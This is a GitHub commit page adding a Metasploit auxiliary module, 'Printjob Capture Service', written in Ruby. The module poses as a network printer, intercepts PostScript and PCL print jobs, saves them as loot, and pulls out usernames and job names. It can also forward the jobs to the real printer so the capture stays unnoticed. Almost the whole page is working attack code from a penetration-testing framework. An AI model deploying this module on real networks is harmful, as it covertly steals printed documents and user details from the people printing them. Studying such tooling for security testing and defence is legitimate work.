Skip to content
Browse files

Merge branch 'printjob_capture'

This lands #811, and also brings in my changes from
ChrisJohnRiley/metasploit-framework#2

Thanks Chris!
  • Loading branch information...
2 parents 49dd19d + 9bec5d1 commit 2ca134a2c39f5baa71dc060b03512a30dcf48f79 @todb todb committed Oct 1, 2012
Showing with 280 additions and 0 deletions.
  1. +280 −0 modules/auxiliary/server/capture/printjob_capture.rb
View
280 modules/auxiliary/server/capture/printjob_capture.rb
@@ -0,0 +1,280 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::TcpServer
+ include Msf::Exploit::Remote::Tcp
+ include Msf::Auxiliary::Report
+
+ def initialize
+ super(
+ 'Name' => 'Printjob Capture Service',
+ 'Version' => '$Revision$',
+ 'Description' => %q{
+ This module is designed to listen for PJL or PostScript print
+ jobs. Once a print job is detected it is saved to loot. The
+ captured printjob can then be forwarded on to another printer
+ (required for LPR printjobs). Resulting PCL/PS files can be
+ read with GhostScript/GhostPCL.
+
+ Note, this module does not yet support IPP connections.
+ },
+ 'Author' => ['Chris John Riley', 'todb'],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ # Based on previous prn-2-me tool (Python)
+ ['URL', 'http://blog.c22.cc/toolsscripts/prn-2-me/'],
+ # Readers for resulting PCL/PC
+ ['URL', 'http://www.ghostscript.com']
+ ],
+ 'Actions' =>
+ [
+ [ 'Capture' ]
+ ],
+ 'PassiveActions' =>
+ [
+ 'Capture'
+ ],
+ 'DefaultAction' => 'Capture'
+ )
+
+ register_options([
+ OptPort.new('SRVPORT', [ true, 'The local port to listen on', 9100 ]),
+ OptBool.new('FORWARD', [ true, 'Forward print jobs to another host', false ]),
+ OptPort.new('RPORT', [ false, 'Forward to remote port', 9100 ]),
+ OptAddress.new('RHOST', [ false, 'Forward to remote host' ]),
+ OptBool.new('METADATA', [ true, 'Display Metadata from printjobs', true ]),
+ OptEnum.new('MODE', [ true, 'Print mode', 'RAW', ['RAW', 'LPR']]) # TODO: Add IPP
+
+ ], self.class)
+
+ deregister_options('SSL', 'SSLVersion', 'SSLCert')
+
+ end
+
+ def setup
+ super
+ @state = {}
+
+ begin
+
+ @srvhost = datastore['SRVHOST']
+ @srvport = datastore['SRVPORT'] || 9100
+ @mode = datastore['MODE'].upcase || 'RAW'
+ print_status("Starting Print Server on %s:%s - %s mode" % [@srvhost, @srvport, @mode])
+ if datastore['FORWARD']
+ @forward = datastore['FORWARD']
+ @rport = datastore['RPORT'] || 9100
+ if not datastore['RHOST'].nil?
+ @rhost = datastore['RHOST']
+ print_status("Forwarding all printjobs to #{@rhost}:#{@rport}")
+ else
+ raise ArgumentError, "Cannot forward without a valid RHOST"
+ end
+ end
+ if not @mode == 'RAW' and not @forward
+ raise ArgumentError, "Cannot intercept LPR/IPP without a forwarding target"
+ end
+ @metadata = datastore['METADATA']
+
+ exploit()
+
+ rescue => ex
+ print_error(ex.message)
+ end
+ end
+
+ def on_client_connect(c)
+ @state[c] = {
+ :name => "#{c.peerhost}:#{c.peerport}",
+ :ip => c.peerhost,
+ :port => c.peerport,
+ :user => nil,
+ :pass => nil,
+ :data => '',
+ :raw_data => '',
+ :prn_title => '',
+ :prn_type => '',
+ :prn_metadata => {},
+ :meta_output => []
+ }
+
+ print_status("#{name}: Client connection from #{c.peerhost}:#{c.peerport}")
+ end
+
+ def on_client_data(c)
+ curr_data = c.get_once
+ @state[c][:data] << curr_data
+ if @mode == 'RAW'
+ # RAW Mode - no further actions
+ elsif @mode == 'LPR' or @mode == 'IPP'
+ response = stream_data(curr_data)
+ c.put(response)
+ end
+
+ if (Rex::Text.to_hex(curr_data.first)) == '\x02' and (Rex::Text.to_hex(curr_data.last)) == '\x0a'
+ print_status("LPR Jobcmd \"%s\" received" % curr_data[1..-2]) if not curr_data[1..-2].empty?
+ end
+
+ return if not @state[c][:data]
+ end
+
+ def on_client_close(c)
+ print_status("#{name}: Client #{c.peerhost}:#{c.peerport} closed connection after %d bytes of data" % @state[c][:data].length)
+ sock.close if sock
+
+ # forward RAW data as it's not streamed
+ if @forward and @mode == 'RAW'
+ forward_data(@state[c][:data])
+ end
+
+ #extract print data and Metadata from @state[c][:data]
+ begin
+ # postscript data
+ if @state[c][:data] =~ /%!PS-Adobe/i
+ @state[c][:prn_type] = "PS"
+ print_good("Printjob intercepted - type PostScript")
+ # extract PostScript data including header and EOF marker
+ @state[c][:raw_data] = @state[c][:data].match(/%!PS-Adobe.*%%EOF/im)[0]
+ # pcl data (capture PCL or PJL start code)
+ elsif @state[c][:data].unpack("H*")[0] =~ /(1b45|1b25|1b26)/
+ @state[c][:prn_type] = "PCL"
+ print_good("Printjob intercepted - type PCL")
+ #extract everything between PCL start and end markers (various)
+ @state[c][:raw_data] = Array(@state[c][:data].unpack("H*")[0].match(/((1b45|1b25|1b26).*(1b45|1b252d313233343558))/i)[0]).pack("H*")
+ end
+
+ # extract Postsript Metadata
+ metadata_ps(c) if @state[c][:data] =~ /^%%/i
+
+ # extract PJL Metadata
+ metadata_pjl(c) if @state[c][:data] =~ /@PJL/i
+
+ # extract IPP Metadata
+ metadata_ipp(c) if @state[c][:data] =~ /POST \/ipp/i or @state[c][:data] =~ /application\/ipp/i
+
+ if not @state[c][:prn_type]
+ print_error("Unable to detect printjob type, dumping complete output")
+ @state[c][:prn_type] = "Unknown Type"
+ @state[c][:raw_data] = @state[c][:data]
+ end
+
+ # output discovered Metadata if set
+ if @state[c][:meta_output] and @metadata
+ @state[c][:meta_output].sort.each do | out |
+ # print metadata if not empty
+ print_status("#{out}") if not out.empty?
+ end
+ else
+ print_status("No metadata gathered from printjob")
+ end
+
+ # set name to unknown if not discovered via Metadata
+ @state[c][:prn_title] = 'Unnamed' if not @state[c][:prn_title]
+
+ #store loot
+ storefile(c) if not @state[c][:raw_data].empty?
+
+ # clear state
+ @state.delete(c)
+
+ rescue => ex
+ print_error(ex.message)
+ end
+ end
+
+ def metadata_pjl(c)
+ # extract PJL Metadata
+
+ @state[c][:prn_metadata] = @state[c][:data].scan(/^@PJL\s(JOB=|SET\s|COMMENT\s)(.*)$/i)
+ print_good("Extracting PJL Metadata")
+ @state[c][:prn_metadata].each do | meta |
+ if meta[0] =~ /^COMMENT/i
+ @state[c][:meta_output] << meta[0].to_s + meta[1].to_s
+ end
+ if meta[1] =~ /^NAME|^STRINGCODESET|^RESOLUTION|^USERNAME|^JOBNAME|^JOBATTR/i
+ @state[c][:meta_output] << meta[1].to_s
+ end
+ if meta[1] =~ /^NAME/i
+ @state[c][:prn_title] = meta[1].strip
+ elsif meta[1] =~/^JOBNAME/i
+ @state[c][:prn_title] = meta[1].strip
+ end
+ end
+ end
+
+ def metadata_ps(c)
+ # extract Postsript Metadata
+
+ @state[c][:prn_metadata] = @state[c][:data].scan(/^%%(.*)$/i)
+ print_good("Extracting PostScript Metadata")
+ @state[c][:prn_metadata].each do | meta |
+ if meta[0] =~ /^Title|^Creat(or|ionDate)|^For|^Target|^Language/i
+ @state[c][:meta_output] << meta[0].to_s
+ end
+ if meta[0] =~ /^Title/i
+ @state[c][:prn_title] = meta[0].strip
+ end
+ end
+ end
+
+ def metadata_ipp(c)
+ # extract IPP Metadata
+
+ @state[c][:prn_metadata] = @state[c][:data]
+ print_good("Extracting IPP Metadata")
+ case @state[c][:prn_metadata]
+ when /User-Agent:/i
+ @state[c][:meta_output] << @state[c][:prn_metadata].scan(/^User-Agent:.*/i)
+ when /Server:/i
+ @state[c][:meta_output] << @state[c][:prn_metadata].scan(/^Server:.*/i)
+ when /printer-uri..ipp:\/\/.*\/ipp\//i
+ @state[c][:meta_output] << @state[c][:prn_metadata].scan(/printer-uri..ipp:\/\/.*\/ipp\//i)
+ when /requesting-user-name..\w+/i
+ @state[c][:meta_output] << @state[c][:prn_metadata].scan(/requesting-user-name..\w+/i)
+ end
+ end
+
+ def forward_data(data_to_send)
+ print_status("Forwarding PrintJob on to #{@rhost}:#{@rport}")
+ connect
+ sock.put(data_to_send)
+ sock.close
+ end
+
+ def stream_data(data_to_send)
+ vprint_status("Streaming %d bytes of data to #{@rhost}:#{@rport}" % data_to_send.length)
+ connect if not sock
+ sock.put(data_to_send)
+ response = sock.get_once
+ return response
+ end
+
+ def storefile(c)
+ # store the file
+
+ if @state[c][:raw_data]
+ jobname = File.basename(@state[c][:prn_title].gsub("\\","/"), ".*")
+ filename = "#{jobname}.#{@state[c][:prn_type]}"
+ loot = store_loot(
+ "prn_snarf.#{@state[c][:prn_type].downcase}",
+ "#{@state[c][:prn_type]} printjob",
+ c.peerhost,
+ @state[c][:raw_data],
+ filename,
+ "PrintJob capture"
+ )
+ print_good("Incoming printjob - %s saved to loot" % @state[c][:prn_title])
+ print_good("Loot filename: %s" % loot)
+ end
+ end
+
+end

0 comments on commit 2ca134a

Please sign in to comment.
Something went wrong with that request. Please try again.